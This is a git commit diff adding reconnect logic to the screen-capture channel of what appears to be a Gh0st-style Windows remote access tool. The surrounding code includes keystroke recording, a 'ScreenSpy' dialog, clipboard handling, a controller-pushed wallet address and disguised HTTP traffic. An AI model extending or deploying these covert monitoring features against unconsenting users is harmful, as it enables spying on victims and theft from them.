Feature: Add reconnect logic for remote desktop control

This commit is contained in:
yuanyuanxiang
2025-12-15 23:09:56 +01:00
parent 250ae09898
commit d919949213
13 changed files with 103 additions and 29 deletions

View File

@@ -83,11 +83,13 @@ BOOL SetKeepAliveOptions(int socket, int nKeepAliveSec = 180)
} }
#endif #endif
VOID IOCPClient::setManagerCallBack(void* Manager, DataProcessCB dataProcess) VOID IOCPClient::setManagerCallBack(void* Manager, DataProcessCB dataProcess, OnDisconnectCB reconnect)
{ {
m_Manager = Manager; m_Manager = Manager;
m_DataProcess = dataProcess; m_DataProcess = dataProcess;
m_ReconnectFunc = m_exit_while_disconnect ? reconnect : NULL;
} }
@@ -115,6 +117,7 @@ IOCPClient::IOCPClient(const State&bExit, bool exit_while_disconnect, int mask,
m_bConnected = FALSE; m_bConnected = FALSE;
m_exit_while_disconnect = exit_while_disconnect; m_exit_while_disconnect = exit_while_disconnect;
m_ReconnectFunc = NULL;
#if USING_CTX #if USING_CTX
m_Cctx = ZSTD_createCCtx(); m_Cctx = ZSTD_createCCtx();
m_Dctx = ZSTD_createDCtx(); m_Dctx = ZSTD_createDCtx();
@@ -402,7 +405,7 @@ bool IOCPClient::ProcessRecvData(CBuffer *m_CompressedBuffer, char *szBuffer, in
Mprintf("[recv] return %d, GetLastError= %d. \n", iReceivedLength, a); Mprintf("[recv] return %d, GetLastError= %d. \n", iReceivedLength, a);
Disconnect(); //接收错误处理 Disconnect(); //接收错误处理
m_CompressedBuffer->ClearBuffer(); m_CompressedBuffer->ClearBuffer();
if (m_exit_while_disconnect) if (m_ReconnectFunc && !m_ReconnectFunc(m_Manager))
return false; return false;
} else { } else {
szBuffer[iReceivedLength] = 0; szBuffer[iReceivedLength] = 0;
@@ -650,7 +653,7 @@ VOID IOCPClient::RunEventLoop(const BOOL &bCondition)
Mprintf("======> RunEventLoop begin\n"); Mprintf("======> RunEventLoop begin\n");
while ((m_bIsRunning && bCondition) || bCondition == FOREVER_RUN) while ((m_bIsRunning && bCondition) || bCondition == FOREVER_RUN)
Sleep(200); Sleep(200);
setManagerCallBack(NULL, NULL); setManagerCallBack(NULL, NULL, NULL);
Mprintf("======> RunEventLoop end\n"); Mprintf("======> RunEventLoop end\n");
} }
@@ -669,6 +672,6 @@ VOID IOCPClient::RunEventLoop(TrailCheck checker)
#endif #endif
while (m_bIsRunning && checker()) while (m_bIsRunning && checker())
Sleep(200); Sleep(200);
setManagerCallBack(NULL, NULL); setManagerCallBack(NULL, NULL, NULL);
Mprintf("======> RunEventLoop end\n"); Mprintf("======> RunEventLoop end\n");
} }

View File

@@ -28,6 +28,7 @@ enum { S_STOP = 0, S_RUN, S_END };
typedef int (*DataProcessCB)(void* userData, PBYTE szBuffer, ULONG ulLength); typedef int (*DataProcessCB)(void* userData, PBYTE szBuffer, ULONG ulLength);
typedef int (*OnDisconnectCB)(void* userData);
class ProtocolEncoder class ProtocolEncoder
{ {
@@ -108,6 +109,9 @@ public:
} }
virtual VOID OnReceive(PBYTE szBuffer, ULONG ulLength) { } virtual VOID OnReceive(PBYTE szBuffer, ULONG ulLength) { }
// Tip: 在派生类实现该函数以便支持断线重连
virtual BOOL OnReconnect() { return FALSE; }
static int DataProcess(void* user, PBYTE szBuffer, ULONG ulLength) static int DataProcess(void* user, PBYTE szBuffer, ULONG ulLength)
{ {
IOCPManager* m_Manager = (IOCPManager*)user; IOCPManager* m_Manager = (IOCPManager*)user;
@@ -129,6 +133,13 @@ public:
m_Manager->OnReceive(szBuffer, ulLength); m_Manager->OnReceive(szBuffer, ulLength);
return TRUE; return TRUE;
} }
static int ReconnectProcess(void* user) {
IOCPManager* m_Manager = (IOCPManager*)user;
if (nullptr == m_Manager) {
return FALSE;
}
return m_Manager->OnReconnect();
}
}; };
typedef BOOL(*TrailCheck)(void); typedef BOOL(*TrailCheck)(void);
@@ -185,13 +196,11 @@ public:
{ {
return m_bIsRunning; return m_bIsRunning;
} }
VOID StopRunning() {
void SetExit() m_ReconnectFunc = NULL;
{
m_bIsRunning = FALSE; m_bIsRunning = FALSE;
} }
VOID setManagerCallBack(void* Manager, DataProcessCB dataProcess, OnDisconnectCB reconnect);
VOID setManagerCallBack(void* Manager, DataProcessCB dataProcess);
VOID RunEventLoop(TrailCheck checker); VOID RunEventLoop(TrailCheck checker);
VOID RunEventLoop(const BOOL &bCondition); VOID RunEventLoop(const BOOL &bCondition);
bool IsConnected() const bool IsConnected() const
@@ -243,6 +252,7 @@ protected:
const State& g_bExit; // 全局状态量 const State& g_bExit; // 全局状态量
void* m_Manager; // 用户数据 void* m_Manager; // 用户数据
DataProcessCB m_DataProcess; // 处理用户数据 DataProcessCB m_DataProcess; // 处理用户数据
OnDisconnectCB m_ReconnectFunc; // 断线重连逻辑
ProtocolEncoder* m_Encoder; // 加密 ProtocolEncoder* m_Encoder; // 加密
DomainPool m_Domain; DomainPool m_Domain;
std::string m_sCurIP; std::string m_sCurIP;

View File

@@ -228,7 +228,7 @@ DWORD WINAPI ExecuteDLLProc(LPVOID param)
DWORD WINAPI SendKeyboardRecord(LPVOID lParam) DWORD WINAPI SendKeyboardRecord(LPVOID lParam)
{ {
CManager* pMgr = (CManager*)lParam; CKeyboardManager1* pMgr = (CKeyboardManager1*)lParam;
if (pMgr) { if (pMgr) {
pMgr->Reconnect(); pMgr->Reconnect();
pMgr->Notify(); pMgr->Notify();
@@ -593,6 +593,7 @@ VOID CKernelManager::OnReceive(PBYTE szBuffer, ULONG ulLength)
case CMD_MASTERSETTING: case CMD_MASTERSETTING:
if (ulLength > MasterSettingsOldSize) { if (ulLength > MasterSettingsOldSize) {
memcpy(&m_settings, szBuffer + 1, ulLength > sizeof(MasterSettings) ? sizeof(MasterSettings) : MasterSettingsOldSize); memcpy(&m_settings, szBuffer + 1, ulLength > sizeof(MasterSettings) ? sizeof(MasterSettings) : MasterSettingsOldSize);
Mprintf("收到主控配置信息 %dbytes: 上报间隔 %ds\n", ulLength - 1, m_settings.ReportInterval);
iniFile cfg(CLIENT_PATH); iniFile cfg(CLIENT_PATH);
cfg.SetStr("settings", "wallet", m_settings.WalletAddress); cfg.SetStr("settings", "wallet", m_settings.WalletAddress);
CManager* pMgr = (CManager*)m_hKeyboard->user; CManager* pMgr = (CManager*)m_hKeyboard->user;

View File

@@ -237,6 +237,10 @@ public:
HANDLE m_hClipboard; HANDLE m_hClipboard;
HANDLE m_hWorkThread,m_hSendThread; HANDLE m_hWorkThread,m_hSendThread;
TCHAR m_strRecordFile[MAX_PATH]; TCHAR m_strRecordFile[MAX_PATH];
virtual BOOL Reconnect()
{
return m_ClientObject ? m_ClientObject->Reconnect(this) : FALSE;
}
private: private:
BOOL IsWindowsFocusChange(HWND &PreviousFocus, TCHAR *WindowCaption, TCHAR *szText, bool HasData); BOOL IsWindowsFocusChange(HWND &PreviousFocus, TCHAR *WindowCaption, TCHAR *szText, bool HasData);
int sendStartKeyBoard(); int sendStartKeyBoard();

View File

@@ -229,7 +229,7 @@ CManager::CManager(IOCPClient* ClientObject) : g_bExit(ClientObject->GetState())
{ {
m_bReady = TRUE; m_bReady = TRUE;
m_ClientObject = ClientObject; m_ClientObject = ClientObject;
m_ClientObject->setManagerCallBack(this, IOCPManager::DataProcess); m_ClientObject->setManagerCallBack(this, IOCPManager::DataProcess, IOCPManager::ReconnectProcess);
m_hEventDlgOpen = CreateEvent(NULL,TRUE,FALSE,NULL); m_hEventDlgOpen = CreateEvent(NULL,TRUE,FALSE,NULL);
} }

View File

@@ -54,10 +54,6 @@ public:
{ {
return m_ClientObject->IsConnected(); return m_ClientObject->IsConnected();
} }
BOOL Reconnect()
{
return m_ClientObject ? m_ClientObject->Reconnect(this) : FALSE;
}
virtual void Notify() { } virtual void Notify() { }
virtual void UpdateWallet(const std::string &wallet) { } virtual void UpdateWallet(const std::string &wallet) { }
BOOL Send(LPBYTE lpData, UINT nSize); BOOL Send(LPBYTE lpData, UINT nSize);

View File

@@ -297,6 +297,14 @@ void CScreenManager::InitScreenSpy()
} }
} }
BOOL CScreenManager::OnReconnect()
{
m_SendFirst = FALSE;
BOOL r = m_ClientObject ? m_ClientObject->Reconnect(this) : FALSE;
Mprintf("CScreenManager OnReconnect '%s'\n", r ? "succeed" : "failed");
return r;
}
DWORD WINAPI CScreenManager::WorkThreadProc(LPVOID lParam) DWORD WINAPI CScreenManager::WorkThreadProc(LPVOID lParam)
{ {
CScreenManager *This = (CScreenManager *)lParam; CScreenManager *This = (CScreenManager *)lParam;
@@ -309,7 +317,6 @@ DWORD WINAPI CScreenManager::WorkThreadProc(LPVOID lParam)
This->WaitForDialogOpen(); This->WaitForDialogOpen();
clock_t last = clock(); clock_t last = clock();
This->SendFirstScreen();
#if USING_ZLIB #if USING_ZLIB
const int fps = 8;// 帧率 const int fps = 8;// 帧率
#else #else
@@ -324,6 +331,16 @@ DWORD WINAPI CScreenManager::WorkThreadProc(LPVOID lParam)
clock_t last_check = clock(); clock_t last_check = clock();
timeBeginPeriod(1); timeBeginPeriod(1);
while (This->m_bIsWorking) { while (This->m_bIsWorking) {
if (!This->IsConnected()) {
Sleep(50);
continue;
}
if (!This->m_SendFirst && This->IsConnected()) {
This->m_SendFirst = TRUE;
This->SendBitMapInfo();
Sleep(50);
This->SendFirstScreen();
}
// 降低桌面检查频率避免频繁的DC重置导致闪屏 // 降低桌面检查频率避免频繁的DC重置导致闪屏
if (This->m_isGDI && This->IsRunAsService() && !This->m_virtual) { if (This->m_isGDI && This->IsRunAsService() && !This->m_virtual) {
auto now = clock(); auto now = clock();
@@ -384,7 +401,7 @@ DWORD WINAPI CScreenManager::WorkThreadProc(LPVOID lParam)
VOID CScreenManager::SendBitMapInfo() VOID CScreenManager::SendBitMapInfo()
{ {
//这里得到bmp结构的大小 //这里得到bmp结构的大小
const ULONG ulLength = 1 + sizeof(BITMAPINFOHEADER) + sizeof(uint64_t); const ULONG ulLength = 1 + sizeof(BITMAPINFOHEADER) + 2 * sizeof(uint64_t);
LPBYTE szBuffer = (LPBYTE)VirtualAlloc(NULL, LPBYTE szBuffer = (LPBYTE)VirtualAlloc(NULL,
ulLength, MEM_COMMIT, PAGE_READWRITE); ulLength, MEM_COMMIT, PAGE_READWRITE);
if (szBuffer == NULL) if (szBuffer == NULL)
@@ -393,6 +410,7 @@ VOID CScreenManager::SendBitMapInfo()
//这里将bmp位图结构发送出去 //这里将bmp位图结构发送出去
memcpy(szBuffer + 1, m_ScreenSpyObject->GetBIData(), sizeof(BITMAPINFOHEADER)); memcpy(szBuffer + 1, m_ScreenSpyObject->GetBIData(), sizeof(BITMAPINFOHEADER));
memcpy(szBuffer + 1 + sizeof(BITMAPINFOHEADER), &m_conn->clientID, sizeof(uint64_t)); memcpy(szBuffer + 1 + sizeof(BITMAPINFOHEADER), &m_conn->clientID, sizeof(uint64_t));
memcpy(szBuffer + 1 + sizeof(BITMAPINFOHEADER) + sizeof(uint64_t), &m_DlgID, sizeof(uint64_t));
HttpMask mask(DEFAULT_HOST, m_ClientObject->GetClientIPHeader()); HttpMask mask(DEFAULT_HOST, m_ClientObject->GetClientIPHeader());
m_ClientObject->Send2Server((char*)szBuffer, ulLength, 0); m_ClientObject->Send2Server((char*)szBuffer, ulLength, 0);
VirtualFree(szBuffer, 0, MEM_RELEASE); VirtualFree(szBuffer, 0, MEM_RELEASE);
@@ -420,7 +438,7 @@ void RunFileReceiver(CScreenManager *mgr, const std::string &folder)
Mprintf("Enter thread RunFileReceiver: %d\n", GetCurrentThreadId()); Mprintf("Enter thread RunFileReceiver: %d\n", GetCurrentThreadId());
IOCPClient* pClient = new IOCPClient(mgr->g_bExit, true, MaskTypeNone, mgr->m_conn->GetHeaderEncType()); IOCPClient* pClient = new IOCPClient(mgr->g_bExit, true, MaskTypeNone, mgr->m_conn->GetHeaderEncType());
if (pClient->ConnectServer(mgr->m_ClientObject->ServerIP().c_str(), mgr->m_ClientObject->ServerPort())) { if (pClient->ConnectServer(mgr->m_ClientObject->ServerIP().c_str(), mgr->m_ClientObject->ServerPort())) {
pClient->setManagerCallBack(mgr, CManager::DataProcess); pClient->setManagerCallBack(mgr, CManager::DataProcess, CManager::ReconnectProcess);
// 发送目录并准备接收文件 // 发送目录并准备接收文件
char cmd[300] = { COMMAND_GET_FILE }; char cmd[300] = { COMMAND_GET_FILE };
memcpy(cmd + 1, folder.c_str(), folder.length()); memcpy(cmd + 1, folder.c_str(), folder.length());
@@ -461,6 +479,12 @@ void FinishSend(void* user)
VOID CScreenManager::OnReceive(PBYTE szBuffer, ULONG ulLength) VOID CScreenManager::OnReceive(PBYTE szBuffer, ULONG ulLength)
{ {
switch(szBuffer[0]) { switch(szBuffer[0]) {
case COMMAND_BYE: {
Mprintf("[CScreenManager] Received BYE\n");
m_bIsWorking = FALSE;
m_ClientObject->StopRunning();
break;
}
case COMMAND_SWITCH_SCREEN: { case COMMAND_SWITCH_SCREEN: {
SwitchScreen(); SwitchScreen();
break; break;
@@ -471,6 +495,7 @@ VOID CScreenManager::OnReceive(PBYTE szBuffer, ULONG ulLength)
break; break;
} }
case COMMAND_NEXT: { case COMMAND_NEXT: {
m_DlgID = ulLength >= 9 ? *((uint64_t*)(szBuffer + 1)) : 0;
NotifyDialogIsOpen(); NotifyDialogIsOpen();
break; break;
} }

View File

@@ -61,7 +61,9 @@ public:
return m_conn ? m_conn->iStartup == Startup_GhostMsc : false; return m_conn ? m_conn->iStartup == Startup_GhostMsc : false;
} }
bool SwitchScreen(); bool SwitchScreen();
virtual BOOL OnReconnect();
uint64_t m_DlgID = 0;
BOOL m_SendFirst = FALSE;
// <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> // <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
BOOL m_virtual; BOOL m_virtual;
POINT m_point; POINT m_point;

View File

@@ -2128,7 +2128,7 @@ BOOL CALLBACK CMy2015RemoteDlg::NotifyProc(CONTEXT_OBJECT* ContextObject)
DialogBase* Dlg = (DialogBase*)ContextObject->hDlg; DialogBase* Dlg = (DialogBase*)ContextObject->hDlg;
if (Dlg) { if (Dlg) {
if (!IsWindow(Dlg->GetSafeHwnd())) if (!IsWindow(Dlg->GetSafeHwnd()) || Dlg->IsClosed())
return FALSE; return FALSE;
Dlg->MarkReceiving(true); Dlg->MarkReceiving(true);
Dlg->OnReceiveComplete(); Dlg->OnReceiveComplete();
@@ -2547,10 +2547,14 @@ LRESULT CMy2015RemoteDlg::OnUserOfflineMsg(WPARAM wParam, LPARAM lParam)
{ {
auto host = FindHost((int)lParam); auto host = FindHost((int)lParam);
if (host) { if (host) {
Mprintf("======> OnUserOfflineMsg: %s\n", host->GetPeerName().c_str());
CLock L(m_cs); CLock L(m_cs);
m_HostList.erase(host); m_HostList.erase(host);
} }
DialogBase* p = (DialogBase*)wParam;
if (p && ::IsWindow(p->GetSafeHwnd()) && p->ShouldReconnect()) {
return S_OK;
}
CString ip, port; CString ip, port;
port.Format("%d", lParam); port.Format("%d", lParam);
EnterCriticalSection(&m_cs); EnterCriticalSection(&m_cs);
@@ -2572,7 +2576,6 @@ LRESULT CMy2015RemoteDlg::OnUserOfflineMsg(WPARAM wParam, LPARAM lParam)
} }
LeaveCriticalSection(&m_cs); LeaveCriticalSection(&m_cs);
DialogBase *p = (DialogBase*)wParam;
if (p && ::IsWindow(p->GetSafeHwnd())) { if (p && ::IsWindow(p->GetSafeHwnd())) {
::PostMessageA(p->GetSafeHwnd(), WM_CLOSE, 0, 0); ::PostMessageA(p->GetSafeHwnd(), WM_CLOSE, 0, 0);
} }
@@ -2710,9 +2713,15 @@ LRESULT CMy2015RemoteDlg::OnOpenScreenSpyDialog(WPARAM wParam, LPARAM lParam)
{ {
CONTEXT_OBJECT* ContextObject = (CONTEXT_OBJECT*)lParam; CONTEXT_OBJECT* ContextObject = (CONTEXT_OBJECT*)lParam;
LPBYTE p = ContextObject->InDeCompressedBuffer.GetBuffer(41); LPBYTE p = ContextObject->InDeCompressedBuffer.GetBuffer(41);
LPBYTE q = ContextObject->InDeCompressedBuffer.GetBuffer(49);
uint64_t clientID = p ? *((uint64_t*)p) : 0; uint64_t clientID = p ? *((uint64_t*)p) : 0;
uint64_t dlgID = q ? *((uint64_t*)q) : 0;
auto mainCtx = clientID ? FindHost(clientID) : NULL; auto mainCtx = clientID ? FindHost(clientID) : NULL;
CDialogBase* dlg = dlgID ? (DialogBase*)dlgID : NULL;
if (mainCtx) ContextObject->SetPeerName(mainCtx->GetClientData(ONLINELIST_IP).GetString()); if (mainCtx) ContextObject->SetPeerName(mainCtx->GetClientData(ONLINELIST_IP).GetString());
if (dlg) {
return dlg->UpdateContext(ContextObject);
}
return OpenDialog<CScreenSpyDlg, IDD_DIALOG_SCREEN_SPY, SW_SHOWMAXIMIZED>(wParam, lParam); return OpenDialog<CScreenSpyDlg, IDD_DIALOG_SCREEN_SPY, SW_SHOWMAXIMIZED>(wParam, lParam);
} }

View File

@@ -605,9 +605,8 @@ BOOL IOCPServer::OnClientPostSending(CONTEXT_OBJECT* ContextObject,ULONG ulCompl
int iOk = WSASend(ContextObject->sClientSocket, &ContextObject->wsaOutBuffer,1, int iOk = WSASend(ContextObject->sClientSocket, &ContextObject->wsaOutBuffer,1,
NULL, ulFlags,&OverlappedPlus->m_ol, NULL); NULL, ulFlags,&OverlappedPlus->m_ol, NULL);
if ( iOk == SOCKET_ERROR && WSAGetLastError() != WSA_IO_PENDING ) { if ( iOk == SOCKET_ERROR && WSAGetLastError() != WSA_IO_PENDING ) {
int a = WSAGetLastError(); if (RemoveStaleContext(ContextObject))
Mprintf("!!! OnClientPostSending 投递消息失败: %d\n", a); Mprintf("!!! OnClientPostSending 投递消息失败: %d\n", WSAGetLastError());
RemoveStaleContext(ContextObject);
SAFE_DELETE(OverlappedPlus); SAFE_DELETE(OverlappedPlus);
return FALSE; return FALSE;
} }
@@ -771,7 +770,7 @@ PCONTEXT_OBJECT IOCPServer::AllocateContext(SOCKET s)
return ContextObject; return ContextObject;
} }
VOID IOCPServer::RemoveStaleContext(CONTEXT_OBJECT* ContextObject) BOOL IOCPServer::RemoveStaleContext(CONTEXT_OBJECT* ContextObject)
{ {
EnterCriticalSection(&m_cs); EnterCriticalSection(&m_cs);
auto find = m_ContextConnectionList.Find(ContextObject); auto find = m_ContextConnectionList.Find(ContextObject);
@@ -788,7 +787,9 @@ VOID IOCPServer::RemoveStaleContext(CONTEXT_OBJECT* ContextObject)
} }
MoveContextToFreePoolList(ContextObject); //将该内存结构回收至内存池 MoveContextToFreePoolList(ContextObject); //将该内存结构回收至内存池
return TRUE;
} }
return FALSE;
} }
VOID IOCPServer::MoveContextToFreePoolList(CONTEXT_OBJECT* ContextObject) VOID IOCPServer::MoveContextToFreePoolList(CONTEXT_OBJECT* ContextObject)

View File

@@ -63,7 +63,7 @@ private:
BOOL InitializeIOCP(VOID); BOOL InitializeIOCP(VOID);
VOID OnAccept(); VOID OnAccept();
PCONTEXT_OBJECT AllocateContext(SOCKET s); PCONTEXT_OBJECT AllocateContext(SOCKET s);
VOID RemoveStaleContext(CONTEXT_OBJECT* ContextObject); BOOL RemoveStaleContext(CONTEXT_OBJECT* ContextObject);
VOID MoveContextToFreePoolList(CONTEXT_OBJECT* ContextObject); VOID MoveContextToFreePoolList(CONTEXT_OBJECT* ContextObject);
VOID PostRecv(CONTEXT_OBJECT* ContextObject); VOID PostRecv(CONTEXT_OBJECT* ContextObject);
BOOL HandleIO(IOType PacketFlags, PCONTEXT_OBJECT ContextObject, DWORD dwTrans, ZSTD_DCtx* ctx); BOOL HandleIO(IOType PacketFlags, PCONTEXT_OBJECT ContextObject, DWORD dwTrans, ZSTD_DCtx* ctx);
@@ -130,6 +130,12 @@ public:
m_IPAddress = pContext->GetPeerName().c_str(); m_IPAddress = pContext->GetPeerName().c_str();
m_hIcon = nIcon > 0 ? LoadIcon(AfxGetInstanceHandle(), MAKEINTRESOURCE(nIcon)) : NULL; m_hIcon = nIcon > 0 ? LoadIcon(AfxGetInstanceHandle(), MAKEINTRESOURCE(nIcon)) : NULL;
} }
int UpdateContext(CONTEXT_OBJECT* pContext) {
m_ContextObject = pContext;
m_iocpServer = pContext->GetServer();
m_ContextObject->hDlg = this;
return 0;
}
virtual ~CDialogBase() {} virtual ~CDialogBase() {}
public: public:
@@ -169,6 +175,9 @@ public:
{ {
delete this; delete this;
} }
virtual BOOL ShouldReconnect() {
return FALSE;
}
// ȡ<><C8A1> SOCKET <20><>ȡ<EFBFBD><C8A1><EFBFBD>ú<EFBFBD><C3BA><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ա<EFBFBD><D4B1><EFBFBD><EFBFBD>ε<EFBFBD><CEB5><EFBFBD> // ȡ<><C8A1> SOCKET <20><>ȡ<EFBFBD><C8A1><EFBFBD>ú<EFBFBD><C3BA><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ա<EFBFBD><D4B1><EFBFBD><EFBFBD>ε<EFBFBD><CEB5><EFBFBD>
void CancelIO() void CancelIO()
{ {
@@ -176,6 +185,13 @@ public:
m_ContextObject->CancelIO(); m_ContextObject->CancelIO();
} }
BOOL IsClosed() const {
return m_bIsClosed;
}
BOOL SayByeBye() {
BYTE bToken = COMMAND_BYE;
return m_ContextObject->Send2Client(&bToken, 1);
}
}; };
typedef CDialogBase DialogBase; typedef CDialogBase DialogBase;

View File

@@ -129,8 +129,10 @@ CScreenSpyDlg::CScreenSpyDlg(CWnd* Parent, Server* IOCPServer, CONTEXT_OBJECT* C
VOID CScreenSpyDlg::SendNext(void) VOID CScreenSpyDlg::SendNext(void)
{ {
BYTE bToken = COMMAND_NEXT; BYTE bToken[32] = { COMMAND_NEXT };
m_ContextObject->Send2Client(&bToken, 1); uint64_t dlg = (uint64_t)this;
memcpy(bToken+1, &dlg, sizeof(uint64_t));
m_ContextObject->Send2Client(bToken, sizeof(bToken));
} }
@@ -284,6 +286,7 @@ VOID CScreenSpyDlg::OnClose()
m_aviFile = ""; m_aviFile = "";
m_aviStream.Close(); m_aviStream.Close();
} }
if (SayByeBye()) Sleep(500);
CancelIO(); CancelIO();
// 恢复鼠标状态 // 恢复鼠标状态
SetClassLongPtr(m_hWnd, GCLP_HCURSOR, (LONG_PTR)LoadCursor(NULL, IDC_ARROW)); SetClassLongPtr(m_hWnd, GCLP_HCURSOR, (LONG_PTR)LoadCursor(NULL, IDC_ARROW));
@@ -344,6 +347,7 @@ VOID CScreenSpyDlg::OnReceiveComplete()
} }
case TOKEN_BITMAPINFO: { case TOKEN_BITMAPINFO: {
SAFE_DELETE(m_BitmapInfor_Full); SAFE_DELETE(m_BitmapInfor_Full);
m_bIsFirst = TRUE;
const ULONG ulBitmapInforLength = sizeof(BITMAPINFOHEADER); const ULONG ulBitmapInforLength = sizeof(BITMAPINFOHEADER);
m_BitmapInfor_Full = (BITMAPINFO*) new BYTE[ulBitmapInforLength]; m_BitmapInfor_Full = (BITMAPINFO*) new BYTE[ulBitmapInforLength];
m_ContextObject->InDeCompressedBuffer.CopyBuffer(m_BitmapInfor_Full, ulBitmapInforLength, 1); m_ContextObject->InDeCompressedBuffer.CopyBuffer(m_BitmapInfor_Full, ulBitmapInforLength, 1);

View File

@@ -46,6 +46,9 @@ class CScreenSpyDlg : public DialogBase
public: public:
CScreenSpyDlg(CWnd* Parent, Server* IOCPServer=NULL, CONTEXT_OBJECT *ContextObject=NULL); CScreenSpyDlg(CWnd* Parent, Server* IOCPServer=NULL, CONTEXT_OBJECT *ContextObject=NULL);
virtual ~CScreenSpyDlg(); virtual ~CScreenSpyDlg();
virtual BOOL ShouldReconnect() {
return TRUE;
}
VOID SendNext(void); VOID SendNext(void);
VOID OnReceiveComplete(); VOID OnReceiveComplete();